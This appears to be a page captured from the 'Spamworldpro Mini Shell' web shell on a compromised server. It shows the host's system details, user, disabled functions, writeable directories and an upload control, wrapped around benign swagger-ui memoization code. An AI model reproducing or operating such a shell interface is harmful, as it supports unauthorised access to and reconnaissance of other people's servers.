Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/rentpix.corals.io/vendor/swagger-api/swagger-ui/src/core/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/rentpix.corals.io/vendor/swagger-api/swagger-ui/src/core/utils/memoizeN.js
import memoize from "lodash/memoize"

/**
 * This function is extension on top of lodash.memoize.
 * It uses all the arguments of the `fn` as the cache key instead of just the first one.
 * If resolver is provided, it determines the cache key for
 * storing the result based on the arguments provided to the memoized function.
 */

const shallowArrayEquals = (a) => (b) => {
  return Array.isArray(a) && Array.isArray(b)
    && a.length === b.length
    && a.every((val, index) => val === b[index])
}

const list = (...args) => args

class Cache extends Map {
  delete(key) {
    const keys = Array.from(this.keys())
    const foundKey = keys.find(shallowArrayEquals(key))
    return super.delete(foundKey)
  }

  get(key) {
    const keys = Array.from(this.keys())
    const foundKey = keys.find(shallowArrayEquals(key))
    return super.get(foundKey)
  }

  has(key) {
    const keys = Array.from(this.keys())
    return keys.findIndex(shallowArrayEquals(key)) !== -1
  }
}

const memoizeN = (fn, resolver = list) => {
  const { Cache: OriginalCache } = memoize
  memoize.Cache = Cache

  const memoized = memoize(fn, resolver)

  memoize.Cache = OriginalCache

  return memoized
}

export default memoizeN

Spamworldpro Mini